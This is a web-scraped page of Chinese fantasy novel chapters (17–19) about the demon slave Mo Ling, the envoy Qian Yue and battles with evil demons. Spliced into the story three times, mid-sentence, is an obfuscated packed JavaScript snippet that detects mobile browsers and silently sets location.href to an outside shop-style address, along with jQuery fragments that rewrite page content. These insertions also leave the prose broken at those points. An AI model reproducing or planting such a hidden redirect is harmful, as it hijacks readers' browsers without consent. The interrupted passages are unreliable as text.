吞梦兽还沉浸在甜美的梦，被一股纯粹的死亡气息暴力侵染，莫凌正准备击杀它，让它回到《冥妖卷》时。 地面的苍裂枭伸出手向前虚按，澎湃的妖火化作无数道赤红锁链，纵横交错地摧毁梦境的每一步。 千悦脚踩在锁链上，她周身气势突变，流淌出金色符文的微光，挥起手中长剑，一道寒光横劈而出，空间出现新的裂痕，让吞梦兽钻了空子。 莫凌眼睁睁看着猎物在自己面前消失，握着武器的手被气得颤抖，冷哼了一声，一怒之下双刀并出，刀尖凝光，一招挥出击向整个梦境。 与此同时，千悦并没有发现他的动作，借助锁链猛然跳起，神力集中在手中的武器，剑尖闪烁星点锁定外部屏障，一剑刺穿，敕令：“破！” 话音落下，空间以她为中心轰然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些藤蔓缠住他的身体不断收紧，只听得骨节咯咯作响，血珠顺着上面纹路蜿蜒滴落。 莫凌已经没有力气挣扎，四肢疼得不受控制地痉挛，视野彻底被血色侵占。 “胜负欲让败者永远抬不起头。”茯苓慵懒地斜坐在交织的藤蔓王座上，深深吸了一口烟斗，对着他惨白的脸，缓缓吐出一缕青烟。 烟雾缭绕中，她眼神如此冰冷：“这句话，我原封不动地还给你。” 莫凌轻蔑一笑，言语间尽是挑衅之意：“早知道旃檀有再生能力，我一定会把你大卸八块。” 茯苓看了他一眼，用烟斗在藤蔓上点了一下，上面的尖刺立刻变成长刺，深深地刺入他的血肉之中，使莫凌呕出一片鲜血。 莫凌强忍着被长刺刺穿的碎骨之痛，意识在极致的痛楚里反复沉浮，浑身每一寸颤抖都引来剧痛。 “如此叫嚣，难不成还指望有人来救你吗？”茯苓示意他看向千悦，被藤蔓织成的囚笼困住，柔韧的枝蔓层层束缚：“神界的能力确实强大，但并不代表一个废物就能轻易驾驭在强者之上。” “现在，我倒要看看一只小妖还有什么办法脱离苦海。”茯苓道。 莫凌并没有急于脱困，恰恰相反，他也在观察茯苓的一举一动，最后给出了意料之外的答案：“你不是想掌握死神气息吗，那我们做个交易怎么样？” 17. 棋定生死 神界 竹林幽深，层层竹叶将阳光筛成细碎的光斑落在凉亭上。 风吹过，一片竹叶从天而降，缓缓地落在石桌上，此时司命身穿淡金色衣衫，衣摆飘动，正在焦头烂额地处理面前堆积如山的卷轴，以及悦华殿内命运线损坏的后事。 “看来我说的话你还记得。” 清冷的女声在他身前响起，司命浑身一僵，抬眼望去，正是天域尊主悸宛清，她不知何时已站在桌前，正垂眸察看人界文书。 司命眼神的疲惫瞬间被碾碎成惊恐，慌忙起身，踉跄跪拜，额头直接贴在地面上：“参…参见尊主。” 悸宛清未看他一眼，也没有叫他起身，专注地看着手中卷轴：“恶妖现世后，六界可有异样？”语气平静，听不出任何情绪。 “前、前几日封印有松动迹象，妖王离开前已经压制一部分，但邪气仍在扩散。”司命声音发颤，仍鼓起勇气辩解，“小仙，正努力想办法控制。” 空气安静。 “想办法？”悸宛清轻声重复这三个字，更像是在反问。 她扔掉手中的卷轴，灰瞳微转，眸底倒映出他伏地瑟缩的身影：“当年你想尽办法毁掉三界时的那份果决与才智，如今都荡然无存了？” 一股强大的压迫感扑面而来，令司命身形战栗，只感觉有一把长剑抵在他头顶，说不出话，也不敢抬头。 “天尊不杀子民，这是他的规矩，我无权干涉。”悸宛清话语中充满威胁，“但你也要懂得惜命。” 司命深吸一口气，承受着神魂欲裂的压力：“小仙明白。” 静默间，悸宛清手腕上闪烁起一条金色锁链，她扫视一眼后没有理会，转身离开凉亭，衣摆拂过石阶。 “待千悦回来，悦华殿禁足十日，闭门思过。” 话音落下，她身影淡去，周围竹叶发出沙沙声，只留下亭中仍颤抖的司命。 悸宛清的身影回到神尊殿堂。 “千悦何错之有？”高座之上，天尊指尖拈着一枚白玉棋子，话语间目光并未从手上移开，“难不成本尊现在连命令的权力都被你管控了吗？” 话音未落，棋子被他随意一弹，在半空中划着弧线即将坠向地面。 悸宛清瞳孔微亮，那白玉棋子化为一只白色蝴蝶，扇动着翅膀落到她的指尖，逐渐平息。 “天尊言重了，我不过是在警告那些想东施效颦的人罢了。”她的手指微转，化蝶为棋，温顺地躺在掌心。 “神界的规矩不会因为任何一个人出现例外，哪怕是您的指示，也不例外。” 悸宛清缓步回到棋盘前，对侧坐下，将棋子归于棋篓：“再加上千悦自幼在妖界生活，长大后回到神界却修为低微，又未经历过血战就直面恶妖，如此冒险行事，罚她十日，于情于理，皆不为过。” “苍裂枭自会照看。”天尊不以为然地说道，抬眸间，话锋一转，“倒是你，方才去找司命做了什么？” 悸宛清准备执棋的手顿了顿，在竹林她刻意隐去锁链的共鸣，防的便是此刻。 她从容地继续下棋，面上无半分异色：“不过是询问一些关于人界的琐事罢了，劳烦天尊多问了。” 悸宛清明白，人界的事情他一点都不想管也不想听，所以将掌管权归于天尊也无济于事，他恨不得某人直接死在那里。 天尊不耐烦地啧了一声，嘲讽道：“原来天域尊主也会多管闲事，只怕有些人看不到你的好心了。” 说罢，悸宛清面前的棋盘中央出现血棋，裂痕越来越多，几乎要碎成一片，血色逐渐与黑暗靠拢。 “不打算出手了吗？”天尊问道。 悸宛清执黑棋的手悬在半空迟迟没有落下，她垂眸看着棋中那枚裂开的血棋。 随后轻轻落下棋子在它上方，道：“他想要变强就不会依赖神来的拯救，一缕神识虽会保住性命，但总是在同一个地方跌倒，只能证明他的无能。” 天尊默然，不再言语。 他的视线投向窗外，金凤凰刺耳的叫声穿过殿堂，挥动着翅膀穿过彩云拖出一道流金，最后消失在尽头。 绚丽的天境下充满着黑暗，那无法前进的道路上，藤蔓交错，血液倒流，以及倒吊人的挣扎。 茯苓坐在藤蔓上，她手中的烟斗顿了顿，脸上有怀疑，更有一些挣扎。 她实在太渴望掌握死神之力了，渴望到连将死之人递来的筹码都不敢轻易拒绝。 莫凌强忍着被藤蔓绞痛，声音因失血而变得些许沙哑：“噬青的命是我给的，劣魂斩的封印也只有我能解开，如果我死了，你拿到的就是一把废铁。” 茯苓眯眼扫视着，眸光停留片刻后，手中的烟斗再次敲了一遍身旁的藤蔓，上面的倒刺缓缓收回：“条件。” “先放她走。”莫凌指被困的千悦，“神使若死在这里，我猜我们都会死在人界。” 茯苓嗤笑道：“你竟然会在乎神族的命？” “我当然不会在乎。”莫凌扯出一个染血的笑意，“但你被放出来这么久，应该更懂得惜命吧？” 茯苓动摇了，抬起手在半空中打了个响指，地面的藤蔓囚笼骤然消失，千悦挥着长剑难以置信地抬起头，却什么都看不到，只能往别处跑。 莫凌仍然被倒吊着，即便被自己鲜血模糊了眼前视线，但目光却依旧死死盯着茯苓的脸，他赌的正是被封印千万年的恶妖对自由的贪婪。 幸好，赌对了。 茯苓伸手收回缠住他的藤蔓，莫凌没有了这些捆绑支撑直接重重摔在地上，身下是焦土、碎石，以及他的血。 身上的衣衫早已被血浸透，每动一下都牵扯着血肉撕裂般的疼痛，却仍强撑着上身，半跪在她面前不肯倒下。 “劣魂斩。”茯苓命令道，她指尖凝出契约符文，一副随时准备控制噬青的意识。 莫凌没有反抗，颤颤巍巍地抬起手，掌中散发出黑色的法力：“噬青。” 说罢，劣魂斩的虚影在他身后一闪即逝，茯苓的眼神几乎都被那道虚影所吸引，已经急不可耐地开始抽取他体内的死神气息。 莫凌与劣魂斩的契约被撕开一道缺口，疼得他猛地吐出一口血水，眼前变得一片模糊，像是被万千利刃凌迟般，这种被活生生剥离骨肉的痛苦等的就是她最专注的时刻。 莫凌用仅剩的力气，快速转动手腕放走了噬青的灵魂，随即那道虚影也消失了。 茯苓的视线随着那道虚影消失的方向看去，一转头，劣魂斩就在不远处出现，强烈的死亡气息让她不再顾及莫凌，立马飞去捕捉。 莫凌现在法力受损严重，伤痕交错，却依旧靠意念命令着噬青，契约被撕裂又如何，他的血还在劣魂斩里。 星落的封印和压制，没有他的指示一辈子都解不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535319|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。 他的目光追随着劣魂斩逃避的方向，嘴唇翕动，用着很是沙哑的声音暗中数着。 “一……” 从幻境出来后，柳池言的气息几乎探寻不到，如果死了，茯苓就不会留在这。 “二……” 藤蔓虽铺满废墟，杂乱无章，但根源不会变 “三……” 噬青抓住劣魂斩在半空中猛地横斩，震开所有藤蔓。 茯苓看见她先是一愣，紧接着满眼讥讽：“你还在挣扎什么，救你的主子连自己都难保，倒不如回到我身边。” “四。” 莫凌一声命令，噬青没有说话，转动手中镰刀，随手在身前斩出一道黑气，茯苓躲闪不及，随后那道黑气却与她擦身而过。 茯苓见自己毫发无损，讽刺道：“真是无能。” 莫凌在地面抬手擦掉嘴角溢出的鲜血，暗中笑了笑。 噬青挥出的四斩，目标并不是茯苓，而是斩向被藤蔓保护的夹层空间，也就是被藏匿在那里，试图恢复妖核的柳池言，这一斩非但没让他恢复成功，反而还遭到巨大反噬。 劣魂斩第四斩，破虚妄，斩断一切虚假和伪装，彻底暴露在现实。 巨大的轰鸣声让整个村落都在颤抖，茯苓闻声望去，瞪大双眼，被黑气破坏的地方燃起诡异的黑色火焰，这让她所有的藤蔓都被毁掉了。 茯苓愤怒地看向噬青：“你们！你们耍我？！” 她本能地想重新召唤藤蔓，指尖凝聚法力却骤然溃散，茯苓疑惑地低头看着掌心被死亡侵蚀的痕迹，她终于明白，刚才从莫凌体内中抽取的气息正灼烧着经脉。 原因很简单，死神不认可她。 莫凌听到她满是怒火的话语，嘴角扯出一抹笑意：“所以……你……没有胜算了……”他的话很轻，还没有说完，眼前便是一片黑暗，最终无力地倒在地上。 “你！”茯苓正准备上前，噬青眼疾手快地抬起劣魂斩，将其阻拦，刀尖抵在她脖子附近。 周围黑色的火焰熊熊燃烧，最终燃尽在棋盘之上血棋之下。 悸宛清将白棋落在它旁边，静静看着那枚血棋从裂痕到愈合，上面气息微弱但不至于伤及性命。 她脸上没有过多表情，抬手凝聚神力，指尖轻点血棋，道：“棋局太久，于此，便是最好。” 与此同时，废墟中莫凌怀中的玉佩忽生共鸣，神力自他心脉蔓延，护住筋脉，默默疗愈其伤。 “命可真够硬的。”天尊抬手把玩着自己微弱的神力。 悸宛清没有说话，不紧不慢地收回手，眼中略有缓和，抬手轻轻挥袖将上面所有黑白棋子都收回棋篓，只留下中心的血棋。 她起身走到巨大的窗前，闭上眼睛，阳光照耀在她身上，感受着片刻温暖，道：“他又不是生来就是强者，一味使用蛮力反而会将自身弱点更快暴露。” 说罢，语气中却带着一丝悲凉，继续道：“致命的弱点并不是唯一，而是内心所渴望却一直得不到的东西。” 天尊收回手，望着她身影忍不住调侃：“比如说，你当年狠心拒绝，还……” 悸宛清回眸瞪了他一眼，天尊下一句话还没说出来就被噤声了。 “无礼。” 她转回身，阳光重新落在她肩上，窗外的金凤凰早已不见踪影。 天界一片寂静。 18. 梦醒时分 此时柳池言毫无防护的重重坠落在废墟之中，一口鲜血呕出，面容枯槁，他的妖核破裂，已经维持不了多久了。 茯苓见他如此狼狈，默默将残存的藤蔓收回掌中，垂眸扫了一眼抵在颈间的镰刀，随后将目光投向噬青，语气仍是不屑：“区区刀灵也配杀我？” 噬青不语，手腕一扬，镰刀忽地砍起。 茯苓随即抬起额头，借机向后退出数米，和她拉开距离。 茯苓还想召唤藤蔓，却一丝法力都使不出，体内的妖力已经变得薄弱，根本不足以继续战斗。 这反噬比她想象中还要可怕，只能强行催动所有妖力用藤蔓缠住自己的胳膊，试图阻止死亡侵蚀的速度。 噬青看穿她此时的虚弱，道：“看来今天，你会死在刀灵手下。” 她双手握住刀柄，疾步上前，举起劣魂斩要给她最后一击。 茯苓抬眸见近在咫尺的镰刀，咬紧牙关，眸光一闪，手中烟斗轻转点动虚空，紧接嗡的一声，一股强横的法力凭空炸开，硬生生接住那必杀一击。 噬青一怔，旋即咬牙发力，紧握刀柄往下劈，狂斩破开气浪。 气浪散尽，茯苓不知不觉已退至数丈之外，周身被残存的黑色藤蔓护住，那股气息似乎不属于三界。 她的掌心仍在被死亡侵蚀，脸色苍白，强撑着身体硬挤出一抹冷笑：“为了无能之物再战也是浪费时间，希望下次见面你还能说出同样的话。” 话音落下，茯苓的身形化作一缕白烟，连同黑色的藤蔓一同消失在废墟之中。 噬青站在原地不爽地低啧一声，她侧耳听到远处脚步渐近的声音，立马收起劣魂斩，化作青丝回到还在昏迷的莫凌袖中。 千悦闻声而来，拨开眼前焦黑的雾霾，总算踏入废墟深处，抬眸便看到倒在血泊中的莫凌。 她愣在原地，眼眸幽暗，犹豫一瞬后，迈步靠近，缓缓蹲下来，指尖探向他的脉搏。 还活着。 但气息微弱，筋脉受损严重，以及他体内的法力有一股暗流在侵蚀他的心头血，这种情况下竟然还能抗住。 “命还真大。”千悦低声自语道，随即抬手轻点他的额头，“念在你救我一命，我便还你这份人情，自此，两清。” 她将神力渡给他，治愈伤口，清除暗流，也助他快些苏醒。 与此同时，柳池言正满地爬寻找自己的妖核。 “你是在找这个吗？” 柳池言身体一僵，抬头望去，苍裂枭站在他面前，居高临下的视线落下，手正持着妖核，慢慢蹲下身与他平视：“本王成全你可好？” 他虽面带笑容，但话语中却带着利刃。 柳池言仿佛受到惊吓，手脚并用地在地上疯狂倒退，嘴唇微抖，只能发出气音：“妖...妖王大人。” 苍裂枭没有理会他表面的恐惧，而是细细打量着手中的妖核：“将你开膛破肚废弃法力情况下，竟然还能将妖核恢复到三成，我真是小看你了。” 话落，他掌中燃起妖火，一点一点将其吞没，收复囊中，刹那间，苍裂枭法力再一次提升。 他深吸一口气，语气却满是杀气：“越是强大的妖核，越能无视各种压制。” “可你却选择出尔反尔，原本的妖核只要保持在七成左右的强大，本王就能彻底无视人界的压制。”他眼底升起怒火，掌中的火焰倒映在眼眸中，话语间几乎是咬着后槽牙说着。 最后苍裂枭的语气会恢复如初：“在这破村落待久了，本王想到了最快解决的方法，杀了你。” 柳池言听完后身体一僵，满脸恐惧地望向那双血眸，他的妖核已失，本体也被妖火灼烧得血肉模糊，现在连站起来的力气都没有。 或许直到这一刻他才明白，在莫凌逃出第三夜的时候，苍裂枭就知晓了最后结果，棋盘发生变故，被包围的就有他。 莫凌只不过是妖王手中最有利的棋子，但给他留了一条出路。 妖王的目的很简单，得到妖核，脱离压制。 妖王的目的很复杂，掌控棋盘上所有棋子，给出简单又有利的条件，最后得到双赢的回报。 可他不想死！ “我..我还有用！”柳池言声音沙哑，不停跪拜求饶，眼中只剩下能抓住最后一丝希望的疯狂，脸上还有血污流淌，“茯苓！我知道茯苓的弱点！我知道她从哪里得到的力量！” 苍裂枭听后，手中的妖火果然弱了几分：“说。” 柳池言还在试图谈条件：“您放过我，我就说...” 话音未落，苍裂枭对他没有任何耐心地抬起手，妖火重新燃起，猛地挥去。 顿时，柳池言的喉咙像是被一只手死死地掐住，眼睛充血，呼吸困难。 “看来本王刚刚说的话你还没有听明白。”苍裂枭歪着头看他，语气不轻不重地敲击在他的心头。 “你的命是本王给的，本王想留就留想杀就杀容不得你在这自说自话！” 他猛然甩开手，柳池言被狠狠摔在地上，跪在地上张着嘴喘着粗气，发出的声音无比嘶哑。 “不过，茯苓的事情确实很棘手，她的弱点就算追溯到上古时期都毫无记载，但本王迟早会知道。”苍裂枭缓缓走过去，居高临下地看着他，声音很轻，对待一个将死之人不再愿浪费口舌，“我给过你机会了，是你不懂得珍惜。” 他掌心的妖火应声地落下，面无表情地看着柳池言的身躯在火焰中扭曲，他想逃，但火焰就像一个人的灵魂，甩不掉。 历史总是似曾相识，红岭村因他染出一道血路，变得暗无天日，死气沉沉。 现如今，他身上的火光和凄惨的叫声，又何尝不是村民当时的绝望与痛苦？ 一缕阳光终于穿过阴霾，照进这片被诅咒的土地。 最终，柳池言化为一缕青烟，彻底消失在眼前，同时《冥妖卷》中关于他的记载和位置也一并消失了。 无人知晓他存在过，这才是恶妖真正的死亡。 苍裂枭若无其事地拍了拍胳膊上并不存在的灰尘，自说自话：“果然，妖界谁都不可信。”随后，转身离开。 此时远处的废墟中，千悦见他气息稳定，估计很快就会醒来，她松了一口气，缓缓收回手。 随后站起身，没有要离开的举动，而是垂眸看着这个浑身都是血的妖奴，眼神变得复杂。 她刚刚用神力探查到这个人非同一般，自身法力与死亡气息混杂在一起，却互相压制，不管哪方想占据全部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535320|203793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他都会受到重创，甚至是性命。 还有一个他自己都不知道的真相... “看来你在神界这几百年，也不是毫无长进。” 千悦思绪被打断，闻声望去，前方焦黑的断墙边，不知何时多了一个人：“妖伯伯？” 苍裂枭靠坐在一块倾塌的石板上，一条腿曲起，手臂搭在膝盖上，正似笑非笑地看着她。 “我记得你上次见他的时候，只因没有给你行礼，恨不得立马杀了他。”他歪了歪头，看向远处躺在地上的莫凌。 千悦道：“是你告诉我，妖界所有妖都不可信，所以看到妖伯伯护着他的时候心里还是有些吃惊的，如果就这么死了我不就看不到他在妖伯伯手里的价值？” 苍裂枭没有反驳，甚至点点头表示对她的回答很满意。 看着他站起身缓步走近，最后在面前三步远的地方停下，声音很轻地说道：“我记得神界有一种湖，表面清澈见底，毫无杂质。 可一旦踏入，就会破坏湖水的宁静，从而掉进永无止境的深渊。” 千悦的眼睫轻颤，默不作声。 苍裂枭拍了拍她的肩膀，留下最后的忠告：“别坏了规矩。” 千悦沉默许久，扯出一抹笑，装作什么都没发生一样，道：“妖伯伯说笑了，我虽神力不佳，但也不是傻子。 ” 苍裂枭看着她的眼睛，几秒后，他忽然笑了一声：“千悦，你从小在妖界长大，所以我记得你有一个习惯，心里想什么，脸上永远藏不住。” 千悦的身体微微一僵。 苍裂枭见她不说话，自己也不打算说破，余光瞥去，猛然看到莫凌衣袍里掉出的玉佩，眸光顿时暗了暗。 他刚想抬起手准备隔空取物时，莫凌此时有了苏醒的迹象。 莫凌痛苦地从地上坐起来，只觉得自己浑身上下没有一处不痛的，就好像有人将他的骨头拆下来，然后胡乱拼凑起来一般。 “既然还活着，就静心调整，好好恢复自己身体。”苍裂枭的语气带着一种虚伪的关心，然而下一秒就原形毕露了，“毕竟还有那么多恶妖要抓，本王现在身残体弱，对付一只小恶妖都困难了。” 莫凌和千悦听完同时露出疑惑的表情。 接下来，莫凌没有多说，他内视了一下自己的身体，肉身伤势已经恢复如初，体内的两股法力也变得稳定，虽然筋脉还是有些损伤，但已无大碍。 也感觉到自己身体里残留的神力，目光果断锁定到千悦身上，看她回避的表情似乎不愿在此刻承认。 也对，神界刻在骨子里的自傲，容不得他人揭穿。 “村落安静，藤蔓消散，阳光照进，再无幻境。”莫凌观察四周后，得出了柳池言可能已经死亡的结论。 苍裂枭点了点头肯定他的想法。 莫凌见状，脸上不由露出一抹喜色，也顾不得身上的疼痛，强撑着从地上爬了起来：“那交易...” “你输了。”苍裂枭毫不留情地打断他的话，眼神里没有半点开玩笑的意思。 莫凌听到这三个字大脑仿佛受到了冲击，脸上的笑意渐渐消失，皱着眉头满眼不可置信地看着苍裂枭的眼睛。 这时的火焰彻底将他的海浪湮灭了。 19. 魂归自由 （时间线为茯苓刚逃走后续） 月光照不进云漫森林的深处有一道结界。 茯苓靠在树干上，右臂无力地垂下，胳膊仍被死神侵蚀着，藤蔓从她掌心生出，一圈圈缠裹也无法阻止皮肉一寸寸腐烂。 她咬紧牙关，撑起身体，烟斗在手中轻转，深吸一口，吐出的烟雾没有消散，而是在面前凝聚在一起，最后显现出一个黑暗的身影站在那里。 “食梦死了。”茯苓声音有气无力的，对着眼前这个人交代着，“我们的计划必须提前。” 烟雾里的身影听后迟迟没有说话，下一秒，一条黑色的锁链忽然射出，精准地捆住茯苓的脖子，猛地收紧。 “你之前信誓旦旦和本座说，只要掌握到劣魂斩，收服五大恶妖，便可离开这地狱。”黑暗中传来低沉的声音，雌雄难辨。 锁链越收越紧，茯苓双脚离地，被提到半空。 “结果劣魂斩掉落在敌人手里，食梦也因此丧命。茯苓，你还让本座怎么信你？” 茯苓喉咙被死死扼住，双脚离地，只能发出破碎的气音：“如果没有我，你现在连用分身的资格都没有。”话语很是强硬，完全不服软。 她转动烟斗，强行击碎锁链从空中跌落，单膝跪在地上，猛咳几声才抬起头：“我们目标一样，都是要将妖王置于死地。” 茯苓声音沙哑却无半点示弱，抬起头，眼眸间透出一股反制，气势完全不减对方：“座下难不成想就此收手？” 那个身影沉默良久，那只禁锢她的手握成拳，收了回去。 “食梦排在五大恶妖末端，我们还有机会。”茯苓勉强直起身，望向黑暗，“至于劣魂斩...” 她低头看向自己被腐蚀的胳膊，皱起眉头，眸光微沉，脑中开始思考：死神看样子只认可噬青，而劣魂斩与莫凌这只小妖血脉相连，可在梦境中却无法使用，呵，他也没有得到死神认可。 茯苓忽然轻声地笑了一声：“一柄九界最强武器，谁都会拥有贪婪之心。” 黑暗中面对她的自信似乎无法抉择，风吹树枝发出诡异的沙沙声，掩盖住对方沉重地呼吸。 随后，一只苍白的手伸出，指尖点在她额头，蓦然间，那股死亡气息被吸入囊中：“你心思如此缜密，就算计划失败也能找到下一个落脚点，简直比五大恶妖还要可怕。” 茯苓感受那股力量从体内抽离，皮肉停止了腐烂，激起体内法力缓慢愈合。 随后抬起手轻轻一扬，藤蔓从身后破土而出，交织成椅，她悠然地坐在上面，双腿交错，浅浅地吸了一口烟斗。 烟雾缭绕，她的眼睛始终没有离开那片黑暗，缓缓吐出一口烟：“五大恶妖的排名是按实力和弱点是否难寻，而我是被强行捕捉进《冥妖卷》，实力自然不如他们。” 对方没有理会她，反而将这个气息在空气中盘旋片刻，手腕翻转，用法力层层封印，渐渐汇聚成一枚魂珠：“可你是唯一一只逃离《冥妖卷》找到本座的，既然如此，本座就再信你一次。” 它将掌中的魂珠落到茯苓面前：“亡息不足一成，但还有用武之地，好好养伤，别再让本座失望。”话落，身影便消失在眼前。 茯苓伸手接过，望着掌心泛着灰色光芒的珠子，久久不语。 手中烟斗轻点在藤蔓上，原本静伏的枝叶如受了指令般缓缓舒展，悄无声息地蔓延开，一圈圈将她围入其中。 藤蔓交错，将茯苓藏在阴影之下，与外界彻底隔绝。 森林恢复寂静，只剩下风吹过树叶的断裂声。 三天后。 苍裂枭带着千悦去了附近客栈休息，莫凌却未选择离开红岭村，他躺在枯萎的银杏树枝上，双手枕在脑后，抬头望着天边一弯弦月。 他盯着月亮看了很久，脑海中回想起苍裂枭那天说的话： “按照交易柳池言确实死了，但他是死在本王手里，所以你没有资格和我谈条件。” 他当时心里满腔怒火，张口想反驳，但苍裂枭根本不给他这个机会：“从一开始你就该明白，这盘棋怎么下，我说了算。” 莫凌站在原地怒瞪着他，胸口闷的上不来气，肩膀忍不住颤抖着。 他深吸一口气后，眼神沉下，无奈地低头：“大人言之有理，我，无话可说。” 声音又哑又涩，努力将心里的委屈和怒火憋回去。 之后，他独自在红岭村修养时，发现了那棵总是出现在幻境中的银杏树，就这样立在废墟中央，枯死的树干在月色下泛着银灰色的光。 他迈步走近，抬手将掌心贴在树干上，粗糙的树皮不存在任何生机，星刃的能力从他体内蔓延，最后顺着指尖探入树的深处，探查这棵树的记忆。 【他看到一个小男孩跪在庭院，对着假冒神明的柳池言跪拜，脸上满是笑容，背诵诗句等着被表扬。 这个庭院是他的家，也只有他一个人住。 当时柳池言向村子里提出的要求只是献血，包括孩子。 画面一转，这个小男孩因不愿献血祈福，被一群人摁在地上，强行割肉献血。】 幻境中那个院子，是用这个孩子的血和身体塑造的？！ 莫凌猛地收回手，哪怕已经有了共情的心理准备，但还是被柳池言这一幕吓到，他的手忍不住颤抖。 当他杀掉一个孩子时就一发不可收拾，恶妖的本性被激发出来，沉浸在杀戮中的快乐，更享受在幻境中折磨的美好。 从而也没想到柳池言的能力覆盖了整个红岭村，自己也无法逃离。 月光突破乌云，落在莫凌毫无表情的脸上，许久后，他唤出噬青站在阴影下。 “你在冥界待了多久？”莫凌问道。 噬青沉思道：“记不清了，应该有上千年吧。” “被困住时，在你眼中那里是什么样的？”莫凌继续问。 噬青身体微微颤抖，仿佛不愿回忆：“黑，见不到一丝光亮的黑，忘川河上没有光，彼岸花只有魂才能看到。” “恨吗？”莫凌问。 噬青这次沉默了好久，叹出一口气：“以前恨，恨他们遗忘我，恨黑白无常将我吊打，更恨自己的无能，所以当时满脑子只有逃。” 她从阴影走出，抬起被遮住的眼睛，面向他的方向：“现在，我不知道。” 她的声音出现了迷茫，垂下头：“逃离冥界后好像所有恨意都消失了，想到未来难以见到他们，我就无法将恨意发泄出来，这样获得强大又好像没有意义了。” 莫凌没有再问，宁静的月色落在二人之间，犹如隔着一层薄纱。 “大人为什么问这些？”噬青率先打破沉默。 莫凌没有回答，而是转过身看向她：“随便问问，先回答一下，我昏迷后发生的事情。” 在那之后，他没再问苍裂枭任何问题。 慢慢地从记忆抽离，回过神后，他从怀中拿出那枚玉佩放在自己眼前，它仿佛与天上的月色重合在一起，都是如此的洁白无瑕。 莫凌想起幻境里突然出现救下自己的那个女人，纯净的气息令人心安，可在心魔的世界里，她是杀害自己的凶手。 他觉得自己就是一个任人宰割的棋子，拥有利用价值，就会有人救他、护他、甚至是帮助他。 可一旦哪天这份价值消失了，他还会这样若无其事地躺在这里吗？ 忽然，莫凌的思绪被逐渐靠近的脚步声打断，他侧眸往树下望去，那个身影是千悦。 对于她的到来似乎并没有感到意外，莫凌从树上坐起身，手上不紧不慢地将玉佩重新收进衣襟里：“找我有事？” 千悦没有立刻回答，而是站在树下抬头看着他刚才收起的玉佩，眸光动了动：“我...” “要和我决斗吗？”莫凌直接猜出千悦心里在想什么，垂眸看着她，“按照妖神两界的规定，我确实应该对你下跪行礼，可我没有，你心里自然不爽。” 千悦身体一震，动作顿了半秒，扬起下巴：“对，我就是对你这个毫无规矩的妖奴不爽！” 莫凌在短暂的沉默后轻笑了一声，翻身从树上跳下落在她面前，双手当即召唤双刃：“那好，我接受。” 千悦愣了愣，没想到他这么爽快。 “但有个条件，不允许使用法力，如果我输了我就向你下跪，包括之前的无理行为，磕头道歉。”莫凌转动手腕将双刀合二为一，化为长枪——焚骨坠月再现世。 “但如果我赢了...”他故意顿了顿，假装思考，望着千悦脸上紧张的神情，简单的打量了一下，“答应我三个条件。” 千悦犹豫片刻后，拿出身后的长剑面对他：“可以，开始吧。” 二人面面相对，周围微风卷起地上的枯叶飞到半空中。 千悦率先踏前一步，手腕轻翻，长剑而上斜挑，剑锋带着杀气直取他头颅。 莫凌侧身躲过，眸光微闪，手腕猛地内旋，枪杆横挡，与她长剑发出铛的脆响。 千悦皱起眉头，手腕再转，剑刃顺着枪杆削出，脚步连踏，欺身逼近，横抹莫凌颈侧。 她眉梢微扬，眼神锐利，招招紧逼。 莫凌后仰避开，双手反向旋腕，枪尾横扫，逼得千悦急退好几步。 随即莫凌枪势突变，双手合力前推，枪尖直刺，千悦急忙挥剑格挡，剑脊撞在枪杆，震得她虎口微麻，手腕顿时卸力。 莫凌看准空隙，双臂同时拧转，枪杆猛撞剑身。 千悦被这冲击再次逼退几步远，长剑险些脱手，剑势瞬间溃散。 莫凌侧身再次攻击，千悦来不及防守，眼睁睁地看着枪尖停在她咽喉一寸之处，稳稳不动。 她的脸吓得微白，持剑的手开始颤抖，无半分反抗之力。 “如果我是恶妖，你现在已经死了。”莫凌神色平静地收回枪，焚骨坠月霎时间在他掌心消失，随后没有再看她，垂下眼眸整理自己的袖口。 “我输了，你的条件是什么？”千悦的声音低沉，语气中依旧强撑着最后的骄傲。 莫凌抬起头，月光落在他脸上，那双眼睛并没有取胜的得意，而是一种奇怪的平静。 他张了张嘴，眼中闪过犹豫，开口道：“你们神界...有没有使用长枪的女子？” 千悦不解。 “法力纯净，气息很冷，但让人安心。”莫凌垂下眼，像是努力回忆更重要的细节，“银白长发，金色法力。” 千悦没注意到他的神情，低下头单手托着下巴，陷入沉思，安静几秒后：“没有。” 莫凌听到这个回答，眼底的期待一点点淡下去，他手指无意识地蜷缩了一下，脸上没什么表情，却略显一丝怅然。 “神界每个人在持有武器前都需要接受器灵的考验，对女子来说：长剑、软鞭、扇子选择较多；而长枪、重剑、古筝选择较少，毕竟那些器灵对持有者要求极高。”千悦向他解释道。 “更何况是你口中这样的女子，在天界简直就是大海捞针。” 莫凌唇角微微一敛，脸上只有一种得不到答案的茫然与沉寂，叹了一口气后：“我知道了，那第二个问题，你为何救我？” 